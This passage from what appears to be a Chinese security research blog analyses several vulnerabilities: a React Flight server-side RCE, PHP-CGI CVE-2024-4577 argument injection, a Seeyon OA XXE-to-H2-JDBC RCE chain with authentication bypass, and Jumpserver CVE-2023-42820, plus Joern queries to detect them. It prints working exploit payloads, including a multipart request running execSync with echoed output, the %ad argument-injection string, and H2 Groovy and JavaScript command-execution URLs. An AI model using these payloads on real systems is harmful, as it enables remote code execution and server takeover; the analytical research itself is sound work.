"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('whoami.exe').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

处理逻辑如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1、getChunk(0)
2、getOutlinedModel中分割Chunk0的then内容,$1:__proto__:then被处理为Chunk1,path内容为[__proto__, then]
3、触发getChunk(1)
4、在Chunk1中检测到$@0,于是获得Chunk0的实例,返回给Chunk1的value
5、回到第一次getOutlinedModel中,Chunk0的value最终为Chunk0.__proto__.then
6、回到最上层触发then,此时处理内容为"{\"then\":\"$B1337\"}"
7、检测到$B,此时
prefix为"var res=process.mainModule.require('child_process').execSync('whoami.exe').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});"
id为1337
最终拼接获得prefix + id
8、触发_formData.get,参数为prefix + id
9get对应的value是"$1:constructor:constructor",$1对应getChunk1,也就是前面的Chunk0实例
10、由于Chunk本身也是一个Function,所以他的constructor.constructor也是Function
11、等于此时触发Function(prefix + id),触发代码执行

这里也稍微看下exp的构造,其实主要是为了回显,exp如下

1
2
var res=process.mainModule.require('child_process').execSync('whoami.exe').toString().trim();
throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});

按照前面的利用链来说,如果我们直接使用childprocess执行命令,那么命令会执行,但Flight的后续逻辑会走不下去,程序就卡住了。

那我们就需要手动抛出一个错误来终止程序,而React相关的代码逻辑中,如果digest有内容,他就会返回到页面内,也就是说我们可以通过手动抛出错误并控制digest内容来获取命令执行的返回。

到这里利用闭环,不但可以实现命令执行,还可以获得回显。

关于补丁

React关于漏洞的补丁很搞笑的是和其他的业务更新合并到了一起,这一点在github上有很多人吐槽,这也导致补丁内容非常乱,实际的漏洞修复在ReactFlightReplyServer.js的部分改动中。

主要的修复有这么几处

首先是声明了一个特殊的类型为Symbol的常量RESPONSE_SYMBOL作为response的key

后续所有关于response的引用都修改成了通过RESPONSE_SYMBOL来引用,而json_parse无法实现Symbol类型,也就无法影响reponse的内容。

还有一个是hasOwnProperty的检查,补丁中在包括getOutlinedModel在内的value处理中加入了hasOwnProperty,这样你就无法去获取原型链中未定义的属性。

其实还有一些别的改动影响到了原利用链,但就像前面说的补丁内容牵扯到的更新太多,补丁非常乱就不细扣了。

总结

作为2025年的收官漏洞,同时也是4年一次难得一见的通用组件通杀漏洞,能见证并分析这种漏洞有很多感受,感叹漏洞的影响力,感叹利用链的精巧,感叹漏洞公开者的魄力。

时间走到2026年,这些年探索的更多都是安全+,很少有能深入探究漏洞本身的时候,也希望面对充满未知的2026,能保留安全研究的初心。

🔲 ☆

PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)分析与复现

在2024.6.6今天,@Orange在他的博客发布了他即将在2024年8月Black Hat USA公开的议题《Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!

伴随着议题的发布,今天在DEVCORE的官方博客发布了一个漏洞通报,也就是存在于windows特殊场景下的PHP CGI远程代码执行漏洞

接下来看看漏洞的详情

漏洞描述

CVE-2024-4577导致漏洞产生的本质其实是Windows系统内字符编码转换的Best-Fit特性导致的,相对来说PHP在这个漏洞里更像是一个受害者。

由于Windows系统内字符编码转换的Best-Fit特性导致PHP原本的安全限制被绕过,再加上一些特殊的PHP CGI环境配置导致了这个问题,最终导致漏洞利用的算是一些PHP的小技巧。

影响范围

这个漏洞理论上影响PHP的所有版本

  • PHP 8.3 < 8.3.8
  • PHP 8.2 < 8.2.20
  • PHP 8.1 < 8.1.29

除此之外的其他PHP版本官方已经不再维护了,包括PHP8.0、PHP7、PHP5在内,但是理论上来说他们都受到这个影响。

漏洞利用条件

Windows系统内字符编码转换的Best-Fit特性

前面提到过,这个漏洞的利用前提是由于Windows系统内字符编码转换的Best-Fit特性,所以第一个前提条件就是

  • 必须是Window环境

其次由于这个特性,windows必须使用以下其中之一的语言系统

  • 繁体中文 (字码页 950)
  • 简体中文 (字码页 936)
  • 日文 (字码页 932)

而且除了这3个以外,其他的语言也不能完全排除影响,凡是存在该特性的的系统都受到影响。

那什么是Best-Fit呢?或者说,为什么是Best-Fit?

说白了其实就是windows对于不同编码字符集之间转化的一个特性,可能大家对于Best-Fit很陌生,如果换一个词叫做宽字节,我想大家就会很熟悉了,说白了就是一些特殊字符在特殊字符集下转化就会转成一个正常的字符

而这里用到的就是%ad

img

而这个正常的字符就是-,我们可以结合php的源码来看,为什么这个-很重要

https://github.com/php/php-src/commit/4dd9a36c16#diff-680b80075cd2f8c1bbeb33b6ef6c41fb1f17ab98f28e5f87d12d82264ca99729R1798

img

在php的代码当中其实原本就过滤了-这个符号,在新的commit当中还加入了对0x80以上的所有字符的限制来修复这个问题。在代码的注释当中有这么一段话来解释这个问题

1
2
3
4
5
6
7
Something is wrong with the XAMPP installation :-(
Apache CGI will pass the query string to the command line if it doesn't contain a '='.
This can create an issue where a malicious request can pass command line arguments to
the executable. Ideally we skip argument parsing when we're in cgi or fastcgi mode,
but that breaks PHP scripts on Linux with a hashbang: `#!/php-cgi -d option=value`.
Therefore, this code only prevents passing arguments if the query string starts with a '-'.
Similarly, scripts spawned in subprocesses on Windows may have the same issue.

如果get发送的请求字符串中不包含”=”,那么Apache就会把请求传到命令行作为cgi的参数。但这会导致恶意请求就可以将命令行参数传递给php,如果直接处理传参,那么会影响到以独立脚本方式运行的PHP脚本。所以只有当开头是-的时候(跳过所有空白符号)才阻止传递参数

而这个漏洞在2012年的时候就被曝光出来,就是CVE-2012-1823

https://www.leavesongs.com/PENETRATION/php-cgi-cve-2012-1823.html

当我们用%ad来代替-之后,参数传递没有被阻止,就构成了参数注入

而PHP和Apache的环境就会更特殊一点儿,其实在2024年你很难找到类似的环境,但是很有趣的是,XAMPP For Windows的默认环境就受到这个漏洞的影响。

而相对更具体的受影响的场景有两个

以CGI模式运行的PHP环境

首先不得不说,这是一个非常非常少见的场景,在2024年你几乎没办法找到一个直接以CGI模式运行的PHP环境,而且也没人会去做这样的修改。

如果你想要改出类似的设定你需要加入以下的配置

1
2
AddHandler cgi-script .php
Action cgi-script "/cgi-bin/php-cgi.exe"

或者类似于

1
2
3
4
5
<FilesMatch "\.php$">
SetHandler application/x-httpd-php-cgi
</FilesMatch>

Action application/x-httpd-php-cgi "/php-cgi/php-cgi.exe"

在XMAPP的默认配置当中,这部分代码也是被注释的,如果你想要测试这种利用需要在httpd-xampp.conf中注释解开下面这段代码

1
2
3
4
5
6
7
8
9
#
# PHP-CGI setup
#
<FilesMatch "\.php$">
SetHandler application/x-httpd-php-cgi
</FilesMatch>
<IfModule actions_module>
Action application/x-httpd-php-cgi "/php-cgi/php-cgi.exe"
</IfModule>

上面这些配置处理的都是一个类似的场景,就是apache会把请求直接转发给php-cgi

结合上面的特性,你可以通过传%ad来传入一个-,这样在-之后的部分就会成为php-cgi的参数,构成参数注入

img

1
%add+allow_url_include%3don+%add+auto_prepend_file%3dphp://input

会变成

1
-d allow_url_include=on -d auto_prepend_file=php://input

构成参数注入导致最终的任意代码执行

将PHP的执行程序暴露在外 - XAMPP默认配置

这个场景要特别一些,相比直接把PHP的二进制直接放在web目录下,可能更常见的还是xampp的默认配置。

在httpd-xampp.conf中就可以找到这一串代码

1
2
3
4
5
6
7
8
9
ScriptAlias /php-cgi/ "D:/xampp/php/"
<Directory "D:/xampp/php">
AllowOverride None
Options None
Require all denied
<Files "php-cgi.exe">
Require all granted
</Files>
</Directory>

上面的配置是什么意思呢?

其实就是访问/php-cgi/路径的时候,会映射D:/xampp/php/下的文件,而这个目录下正好是php的整个目录

img

但这又有什么用呢,毕竟都denied了,只有php-cgi.exe是granted的,我们把视角还是回到php-cgi上。

如果我们直接访问调用php-cgi.exe,会怎么样呢?

答案是会有安全警告

img

那我们顺着这个思路去看下代码

https://github.com/php/php-src/blob/51379d66ec8732e506c43f6c7f1befc500117ae8/sapi/cgi/cgi_main.c#L1912

img

我们会发现我们遇到了一个新的概念叫做force_redirect,这其实算是PHP的一个自我保护机制。在P牛的知识星球里就有提过这个问题。

https://wx.zsxq.com/dweb2/index/topic_detail/15411452114282

说白了就是,PHP增加了一个配置叫做cgi.force_redirect=1开启了这个选项(默认开启)之后,只有经过重定向的规则请求才能执行,不能直接调用执行。那有什么办法绕过呢?

其实如果顺着逻辑到这里,就已经很清晰了,第一个办法也就是最直接的办法就是,既然前面已经实现了-d修改配置,那么你就正好-d再把cgi.force_redirect修改成0就行了,非常直白。

img

而第二个办法相对来说比较少见,我们继续回到源码当中可以发现,除了force_redirect的分支以外,其实如果能确保REDIRECT_STATUS或者HTTP_REDIRECT_STATUS存在值,也可以不进入到这个分支里。

image-20240611095958631

当然一般来说这种变量是不可控的,但是HTTP开头的变量一般来自于请求的头,那么我们就可以在请求头中加入Redirect-status: 1来设置这个变量,同样可以绕过

🔲 ☆

Joern In RealWorld (3) - 致远OA A8 SSRF2RCE

致远OA是国内最有名的OA系统之一,这个OA封闭商业售卖再加上纷繁复杂的版本号加持下,致远OA拥有大量无法准确判断的版本。

这篇文章的漏洞源于下面这篇文章,文章中提到该漏洞影响A8, A8+, A6等多个版本,但很多版本我都找不到对应的源码,光A8就有一万个版本,下面我们尽可能的复现漏洞和探索Joern的可能性

漏洞原理

先花一点儿篇幅简单的描述一下漏洞的基础原理,其实漏洞分为好几个部分

  • 致远oa 前台XXE漏洞
  • 致远oa S1服务 后台jdbc注入
  • H2 jdbc注入导致RCE
  • 致远oa S1服务 后台用户密码重置导致的鉴权绕过

我们分开讨论这部分

致远oa前台xxe漏洞

首先我必须得说,这部分内容涉及到的代码我找了很多个版本的源码都没有找到,尝试搜索了一下原漏洞以及一些简单的分析文章其实大部分都没有提到这部分代码的来源。

我觉得最神奇的点在于,这个漏洞如果仅按照原文提及的部分,漏洞原理及其简单,而且是一个比较标准的xxe漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private List<Element> getNodes(String xmlString, String xpath) {
ArrayList tmpList = null;

try {
SAXReader saxReader = new SAXReader();
Reader xml_sr = new StringReader(xmlString);
saxReader.setEncoding("UTF-8");
Document document = saxReader.read(xml_sr);
if (document.getRootElement() == null) {
throw new KgException(new KgCommonsError("XmlParser Object hasn't RootElement.", KgCommonsError.SYSTEM_ERROR.getCode()));
} else {
List<?> contexts = document.selectNodes(xpath);
tmpList = new ArrayList();

for(int i = 0; i < contexts.size(); ++i) {
if (contexts.get(i) instanceof Element) {
tmpList.add((Element)contexts.get(i));
}
}

return tmpList;
}
}

可控参数 xmlValue,直接解base64然后就进xxe造成漏洞。

按理说这么简单的漏洞,应该早就被爆出来滥用了,但我搜索了一下相应的内容,上一次致远oa爆出来xxe漏洞原理比这个复杂多了,而且还是组件漏洞。

由于实在找不到源码,所以我猜测这个漏洞可能有两个可能性

  • 漏洞来自于某个部署时使用到的额外服务或者插件
  • 这个xxe漏洞是个第三方组件问题,需要其他条件入口,原文不想提到这个入口所以没有写

不管咋说我的确是没有办法获得答案了,不过这不是这篇文章的重心,先往后看。

致远oa S1服务 后台jdbc注入

在原文中,这部分来自于agent.jar,简单来说就是一个开放到内网的服务,我查了一下应该是指这套S1服务

在官网还可以查到这套系统,看上去应该是用于管理致远后台的平台,算是运维平台。这侧面也证明了这套系统是一套独立的系统。

com.seeyon.agent.sfu.server.apps.configuration.controller.ConfigurationController可以找到对应的testDBConnect方法

img

可以关注到相比原文当中的截图,现在加入了对h2数据库连接的限制

1
2
3
params.put("dbUrl", dbUrl);
if (dbUrl.startsWith("jdbc:h2"))
return JsonResult.success(StatusCodeEnum.FAILEDCODE.getKey(), ", null);

继续跟进到testDBConnect

img

从这里可以找到可以根据dburl前缀自由连接远程jdbc的方法,并允许自定义链接驱动类

H2 jdbc注入导致RCE

这部分内容其实不算是这篇文章的重点致远oa的问题,一般来说到jdbc注入之后就是利用方式的问题了,但这里还是顺带提一下。

关于jdbc的注入后利用方式其实之前已经有过不少次相关的文章以及议题,下面这篇就是一篇总结的比较全的文章

其实jdbc可控后续导致的二次利用方案相当复杂,由于这不是这篇文章的内容,所以我们直接跳到对应的位置来看看。

想要利用jdbc注入来调用H2进行进一步利用,其中有两个比较大的问题。

  • 需要相应的配置参数才能命令执行
  • 由于不支持多行语句,需要找到能在单行里执行命令的方法

H2的攻击利用的是Spring Boot H2 console的一个特性,通过控制h2数据库的连接url,我们可以迫使spring boot去加载远程的sql脚本并执行命令,类似下面这样的请求

1
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'

而这样的请求需要如下的参数

1
2
spring.h2.console.enable=true
spring.h2.console.setting.web-allow-others=true

我们简单的看下源码

org.h2.engine.Engine#openSession中,发起连接是可以通过INIT关键字来影响初始化数据库连接的配置

img

img

当我们使用RUNSCRIPT关键字发起远程连接时,代码将会执行到org.h2.command.dml.RunScriptCommand#execute

img

这也就意味着我们可以通过RUNSCRIPT来执行恶意的SQL语句,但使用RUNSCRIPT意味着,你的客户端必须出网才有可能利用。

而我们之所以要使用RUNSCRIPT,本质是因为常见的恶意SQL执行命令需要两句session.prepareCommand并不支持执行多行语句

1
2
CREATE ALIAS RUNCMD AS $$<JAVA METHOD>$$;
CALL RUNCMD(command)

在Spring Boot H2 console的源码中,我们可以继续寻找问题的解决办法,在SQL语句当中的JAVA方法将会执行到org.h2.util.SourceCompiler,一共有三种编译器,分别是Java/Javascript/Groovy

img

如果满足source开头是//groovy或者是@groovy就会使用对应Groovy引擎。

img

利用@groovy.transform.ASTTEST就可以使用assert来执行命令

1
2
3
4
5
6
public static void main (String[] args) throws ClassNotFoundException, SQLException {
String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")" + "})" + "def x";
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '"+ groovy +"'";
Connection conn = DriverManager.getConnection(url);
conn.close();
}

除了Groovy以外还有JavaScript的利用方案

img

1
2
3
4
5
6
public static void main (String[] args) throws ClassNotFoundException, SQLException {
String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"open -a Calculator.app\")";
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '"+ javascript +"'";
Connection conn = DriverManager.getConnection(url);
conn.close();
}

致远oa S1服务 后台用户密码重置导致的鉴权绕过

在前面找到对应的利用方案之后,当我们尝试去做利用的时候会发现其实后台有额外的权限验证。直接访问testDBConnenction,会报非法访问的错误。

img

这是因为没有传入对应的token,在com.seeyon.agent.common.utils.TokenUtils中可以找到对应的检查

img

这里的tokenMap可以在com.seeyon.agent.common.getway.GetWayController找到对应的写入位置

img

通过解密获得username、pwd、dogcode、versions经过各种验证之后token会被存入全局变量

img

这个token会被存入最终的tokenMap当中,而到这里我们问题变成了如何模拟这个过程,在这个过程当中我们需要的信息有点儿多

  • username,可以用默认的用户名seeyon
  • pwd
  • version
  • aes的秘钥和iv

跟踪 AESUtil.Decrypt到定义的位置,可以发现秘钥和iv都是默认的,可以直接使用

img

com.seeyon.agent.common.controller.ConfigController中可以找到一个方法modifyDefaultUserInfo

img

这个方法可以在没有任何限制的情况下修改默认用户seeyon的密码

最后剩下的一个信息则是version,这个后台的版本比较复杂,我们可以通过一个接口来获取

com.seeyon.agent.common.controller.VersionController的getVersion方法里可以获取对应的版本号

img

到这里我们获取了模拟token的所有信息,就可以在后台进行任意操作

For Joern

当问题回到源代码扫描上,我们也可以用类似的漏洞拆解来实现扫描

致远oa前台xxe漏洞

由于这个源码找不到,所以这里用一个类似场景写出来的语句来进行模拟挖掘和扫描

1
2
3
4
def source = cpg.method("getParameter").callIn
def sink = cpg.call.filter(_.methodFullName.contains("java.io.StringReader.<init>"))

sink.reachableByFlows(source).p

我们可以通过连通初始化位置以及可控参数来判断是否存在路径,正常来说如果两个节点存在连通路径,那么就存在调用关系,但数据流的过程间分析需要更合理的判定方式,就比如这个漏洞。

img

SAXReaderXXE漏洞修复方案并不是在参数的过滤上,而是在于SAXReader解析xml的配置

这就要求除了获得source到sink的连通性以及调用关系以外还要对SAXReader实例化后的属性变化有所关注,在Joern上虽然可以强行做这样的判定,但却没有特别适配的方案,甚至需要通过正则匹配等方式来解决。

致远oa S1服务 后台jdbc注入

照理先引入S1的包,这个东西其实代码不是很大,但是不知道为什么解出来的包非常之大,可能有一些问题。

1
2
joern> importCode("S1.jar", "seeyons1")
val res36: io.shiftleft.codepropertygraph.Cpg = Cpg (Graph [959587 nodes])

先找到设置了注解的testDBConnect方法

1
cpg.method("testDBConnect").where(_.annotation.name(".*Mapping")).l

img

然后再找到设置jdbc连接的位置,并设置参数为3个string

1
cpg.method("getConnection").callIn.filter(_.methodFullName.contains("java.lang.String,java.lang.String,java.lang.String")).l

img

1
2
3
4
def sink = cpg.method("getConnection").callIn.filter(_.methodFullName.contains("java.lang.String,java.lang.String,java.lang.String"))
def source = cpg.method("testDBConnect").where(_.annotation.name(".*Mapping")).parameter

sink.reachableByFlows(source).p

img

存在连通性,表示包含注解的方法参数可以连通到sink点,存在问题。

H2 jdbc注入导致RCE

相比其他几个问题,这个jdbc的利用其实就不算源代码分析层面的部分了。

无论是通过H2的链接来配置参数还是通过特殊语句二次利用,其实本质上都是H2数据库的feature,这里我们就跳过源代码分析的部分继续看后面的部分

致远oa S1服务 后台用户密码重置导致的鉴权绕过

让我们把视角在转回S1上,其实问题很简单,由于后台主要检查token是否有效

img

所以我们可以尝试去寻找全局变量tokenMap初始化过的地方

1
cpg.call("<operator>.fieldAccess").filter(_.code.equals("com.seeyon.agent.common.utils.TokenUtils.tokenMap")).l

img

然后寻找对应调用的位置

1
cpg.call("<operator>.fieldAccess").filter(_.code.equals("com.seeyon.agent.common.utils.TokenUtils.tokenMap")).map(n=>n.astIn.head.astIn.head._astIn.head.asInstanceOf[io.shiftleft.codepropertygraph.generated.nodes.Method].fullName).l

img

可以看到涉及到tokenMap的方法出了isChecktoken以外还有getToken

img

然后我们继续寻找调用了getToken的地方

1
cpg.call.filter(_.methodFullName.contains("com.seeyon.agent.common.utils.TokenUtils.getToken")).l

img

然后向上寻找对应的调用函数是什么

1
cpg.call.filter(_.methodFullName.contains("com.seeyon.agent.common.utils.TokenUtils.getToken")).map(n=>n.astIn.head.astIn.head._astIn.head.asInstanceOf[io.shiftleft.codepropertygraph.generated.nodes.Method].fullName).l

img

在这里我们找到了调用gettoken的位置,也正好对应写入token的位置

而在后续的利用条件收集中,也可以利用joern来快速挖掘和发现。

  • 寻找获取用户名和密码的方法

这个很简单,就像我们平时做代码审计的时候,会通过一些关键字来搜索关键代码一样,在joern中,你可以做类似的事情。我们可以搜索变量名为username的变量被调用的位置

1
cpg.identifier("username")._astIn.dedup.l

img

当然这显得非常粗暴,数据量非常大,但我们可以做更多的限制,比如调用该变量的方法必须包含put

1
cpg.identifier("username").map(n=>n._callViaAstIn.filter(_.code.contains("put")).dedup.l).l

img我们可以直接向上找到对应的函数方法定义位置

1
cpg.identifier("username").map(n=>n._callViaAstIn.filter(_.code.contains("put"))._astIn._astIn.l).dedup.l

img

我们可以选择几个打开看看

img

当然我们发现不只是有名字为password的变量,还有名为password的常量

1
2
cpg.literal("\"password\"").map(n=>n._callViaAstIn.filter(_.code.contains("put"))._astIn._astIn.map(m=>List(m.asInstanceOf[io.shiftleft.codepropert
y raph.generated.nodes.Method].fullName)).l).dedup.l

img

可以顺着这里找到写入默认账户的位置

img

前面提到的默认账户修改密码的点也能搜索到,这里甚至可以直接用默认账号和密码

除此之外寻找版本号的位置也可以用joern来完成,直接搜索调用了version变量的地方

1
cpg.identifier("version").map(n=>n._callViaAstIn.filter(_.code.contains("put"))._astIn._astIn.map(m=>List(m.asInstanceOf[io.shiftleft.codepropertygraph.generated.nodes.Method].fullName)).l).dedup.l

img

直接找到了对应的getVersion方法

通过joern提供的从属关系图可以快速锁定我们要寻找的大致目标,其中的问题也相当实际,你很难在不熟悉代码的情况下利用joern做深入的扫描,这也是joern类工具的症结之一

🔲 ☆

Joern In RealWorld (2) - Jumpserver随机数种子泄露导致账户劫持漏洞(CVE-2023-42820)

Jumpserver是一个开源的django架构的堡垒机系统,由lawliet & zhiniang peng(@edwardzpeng) with Sangfor在上个月报送了这个漏洞

漏洞原理其实比较神奇,一个常用的第三方组件库django-simple-captcha泄露随机数种子的问题,再配合Jumpserver使用了错误的随机数方案导致了最终的漏洞。

漏洞成因

这里我们的目标不是分析漏洞,所以这里简单快速的分析下漏洞的成因,具体的漏洞分析可以看下面两篇文章

在分析代码级的漏洞成因之前,我想作为计算机相关的工作者,我们应该都有一个共识,就是计算机中没有真正意义的伪随机,无论是任何语言的随机数生成函数几乎都是从类似 /dev/random的地方取值,这里我们不讨论随机数底层的问题。

在代码的上层,我们几乎可以认为如果你不知道随机数的种子,那么你就无法对随机数做出预测。换言之,如果我们知道随机数的种子,我们就有一定的概率预测随机数

django-simple-captcha是Django的相关组件中非常流行的验证码生成库,就像phith0n所说,在国内你几乎没有别的选择,引入的方式超级简单,只要在配置里引入对应库

1
2
3
INSTALLED_APPS = [
...
'captcha',

然后加入对应的验证码路由

1
2
3
urlpatterns += [
path('core/auth/captcha/', include('captcha.urls')),
]

最后只要在对应的form中加入验证码的字段就行了

1
2
class CaptchaMixin(forms.Form):
captcha = CaptchaField(widget=CustomCaptchaTextInput, label=_('Captcha'))

但事实上,看似简单的django-simple-captcha中实际包含着一个很大的问题。

django-simple-captcha 随机数种子泄露

这个问题在0.5.19版本中被修复

img

这里其实涉及到了django-simple-captcha的一个feature,在设计上其实是允许通过key来指定随机数种子的,这个feature是为了让同一个key可以对应同一个验证码,用来实现验证码的对应。

img

而这里的key是一个已知的值,就是用于生成验证码的参数

img

换言之,我们可以得知当前Random的随机数种子,甚至可以控制这个种子。

修复的方案也很简单粗暴,只要在生成结束之后用随机一个新种子就可以了

img

那么这对jumpserver又有什么影响呢?

JumpServer 密码重置漏洞

相比django-simple-captcha来说,JumpServer更像是一个受害者,虽然存在一些安全隐患但本身并不致命。我们可以猜想一下随机数在一般的系统里常用的场景。

  • 重置密码
  • 激活码、兑换码

相比激活码的场景来说,重置密码的常见程度更高,如果系统内没有刻意对管理员账号做限制,那么如果可以预测重置密码的验证结果,那么就可以获得一个超级管理员权限,而JumpServer的代码中是这样做的。

img

/apps/authentication/api/password.py

img

重置密码用的code使用了random_string来生成,然后看看random_string的定义

img

这个函数在jumpserver中重做过好几次,但大同小异,其实就是用random.choice从列表中选取随机字符,最终生成最后的验证码。

这里我们不去细纠这个利用方式中的细节点,这不是本篇文章的讨论重点,简单来说就是

  • 通过**django-simple-captcha泄露当前random的种子**
  • 通过种子推测有限次的random结果(其中不仅仅包括密码重置token,还有验证码噪点等)

这样我们就通过对随机数的预测实现进一步的漏洞利用,而修复的方案也很简单

在最初版本的修复方案中,Jumpserver在获取密码重置token时重置了当前随机数种子。这个修复方案也没什么问题。

img

在后来的改动中,可能是因为看了P牛的文章,Jumpserver把random换成了secrets,相对来说比前一个方案更稳定一些,也是相关文档中推荐的方案

img

For Joern

从源代码的角度来讲,这个漏洞成因可以分成两部分

  • 存在泄露随机数种子,或者可以控制随机数种子的位置
  • 在未显式重置随机数种子的基础上,引用了random来生成随机数

随机数种子泄露

其实这个漏洞用Joern来处理挺吃力的,首先是Joern只会处理目标目录下的源码,而在正常的环境下,python引入的包其实都在python的目录下,也就是说理论上我们无法在分析项目的时候,顺便分析django-simple-captcha。

这里我们强行引入下分析django-simple-captcha包

1
2
3
4
5
6
7
8
9
10
11
12
13
> .\joern

██╗ ██████╗ ███████╗██████╗ ███╗ ██╗
██║██╔═══██╗██╔════╝██╔══██╗████╗ ██║
██║██║ ██║█████╗ ██████╔╝██╔██╗ ██║
██ ██║██║ ██║██╔══╝ ██╔══██╗██║╚██╗██║
╚█████╔╝╚██████╔╝███████╗██║ ██║██║ ╚████║
╚════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝
Version: 2.0.52
Type `help` to begin


joern> importCode("../captcha/")

找到random.seed调用的位置

img

先检查调用位置到函数定义位置是否有数据联通

1
2
3
4
def source = cpg.method("seed").caller.parameter
def sink = cpg.method("seed").callIn

sink.reachableByFlows(source).p

img

得到的答案是肯定的,seed的参数key可控,接着找对应的路由,在django里路由一般是用path,而这个组件使用re_path

1
2
from django.urls import path
from django.urls import re_path

我们可以直接快捷的查看相应的路由函数调用位置

img

然后通过对应的调用函数来获取指定的路由

1
cpg.method("re_path").callIn.filter(_._callViaAstOut.code.contains("views.captcha_image")).l

img

当然可能也不用这么麻烦,理论上来说直接设置source也是可以连起来的,只不过re_path读取key的方式是正则匹配,所以原装的reachableByFlows无法处理这种情况,我们只能强行做一些限制

1
cpg.method("re_path").callIn.filter(_._callViaAstOut.code.contains("views.captcha_image")).filterNot(_.argument.code.contains("<key>")).l

由于这条命令可以获取结果,所以代表着存在可以设置随机数种子的路由和对应的参数

当然,由于漏洞的特殊性不仅仅在于可控,还需要后续没有进一步重置随机数种子,所以我们还需要更多的条件来确认这一点。

其实要做到这点也并不复杂,只需要确认,在设置seed种子的方法中,没有调用过无参的seed方法即可。

1
cpg.method("seed").caller.filter(_._callViaContainsOut.filter(_.name.contains("seed")).filter(_.argument.size<2).size==0).l

上面这条命令的意思是

  • 寻找seed方法的调用方法
  • 寻找该方法中调用的方法中,名字为seed,并参数为0(joern中,参数index为0的位置表示为this,也就是当前方法所属的类)
  • 展示调用方法中,满足条件的调用数量为0的方法

img

如果返回结果,则证明该方法中没有重置新的随机数种子,当然,到这里并不能完全的验证这个结论,毕竟这里指处理了显式重置,如果是更严格的数据流分析,应该从重置随机数种子的位置入手,确认是否有数据流经过,但这种方案对于joern来说比较困难,这里先不深入到这个级别研究

JumpServer密码重置漏洞

这里分析JumpServer的时候遇到的最大的问题是JumpServer的代码量有点儿大,导入到Joern里有83万个节点:<

其实相比Django-simple-captcha的问题来说,JumpServer的问题在源代码的角度上来说更不像一个问题,只能算是一个使用错误的范例,有潜在的风险。我们需要用joern完成的工作包括两部分

  • 在获取随机数之前,没有重置过随机数种子
  • 在获取随机数之前,共执行了多少次随机操作

先找到对应调用random.choice方法的方法

img

调用过seed方法重置随机数种子的位置只有一个,看了一下没有相关的引用关系,看上去像是一段测试代码

img

由于场景特殊,这里我们用不到那么深入的数据流分析,只需要在对应重置密码的路由中确认是否调用random.choice方法就行了

img

这里直接用repeat untils来实现就可以

img

repeat…untils…还是那个老问题,容易递归爆炸,路径重复问题严重,我觉得这是joern实现里一个非常普遍的问题,但至少可以确定两个调用位置的连通性

接下来我们的问题变成了,我们如何知道在这条数据流中random调用了多少次

img

我尝试了几次之后发现,如果想要在语句上控制限制范围,以确认random的调用次数,会遇到比较多的问题正向分析的深入深度问题,以及循环分支的次数数据问题,问题比想象中的大,我暂且认为这不是joern的适用场景。

而相应的修复就更简单了,直接换用secrets替代random会直接影响到前面的方法发现,我们就无法获得对应的数据流了。

🔲 ⭐

Joern In RealWorld (1) - Acutators + CVE-2022-21724

这个系列会记录我用Joern复现真实漏洞的一些过程,同样也是对Joern的深入探索。

这里我选用Java-sec-code的范例代码做第一部分,这篇文章记录了两个比较经典的漏洞

  • Springboot Acutators导致命令执行
  • postgreSQL jdbc反序列化漏洞(CVE-2022-21724)

Joern分析Java代码可以选择用代码文件夹也可以选择直接分析jar包

1
importCode("../../java-sec-code/target/java-sec-code-1.0.0.jar")

Springboot Acutators配置问题

SpringBoot Actuator是SpringBoot内置的一个监控管理插件。只要引用组件就会开启对应的功能

1
2
3
4
5
6
7
8
9
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>

开启后SpringBoot 1.x起始路径为/,2.x的起始路径为/actuator

暴露路由本身不能算太大的安全问题,只能说配置不当可能导致信息泄露,可以参spring-boot.txt

Actuator的接口配合一些组件就可能导致RCE,但防御的方法大多都是对Actuator做鉴权限制

  • Actuators + jolokia
1
2
3
4
5
6
<!-- SpringBoot Actuator命令执行的库 -->
<dependency>
<groupId>org.jolokia</groupId>
<artifactId>jolokia-core</artifactId>
<version>1.6.0</version>
</dependency>

配合jolokia的接口可以实现jndi注入导致RCE

1
2
3
4
5
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-netflix-eureka-client</artifactId>
<version>1.4.0.RELEASE</version>
</dependency>

首先组件上引用eureka才行,并且Eureka-Client <1.8.7(多见于Spring Cloud Netflix)

其次需要Application要有@EnableEurekaClient注解

1
2
3
4
5
6
7
8
9
10
11
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.cloud.netflix.eureka.EnableEurekaClient;

@SpringBootApplication
@EnableEurekaClient
public class Application {
public static void main(String[] args) {
SpringApplication.run(Application.class, args);
}
}

for Joern

我首先遇到的问题就是,这个漏洞其实配置问题大于其他问题,我研究了很久认为这个问题在Joern中是不可解的。

一方面Acutators开启只需要组件引用即可,另一方面比较常见的修复手段是增加鉴权,加入鉴权组件并开启配置

1
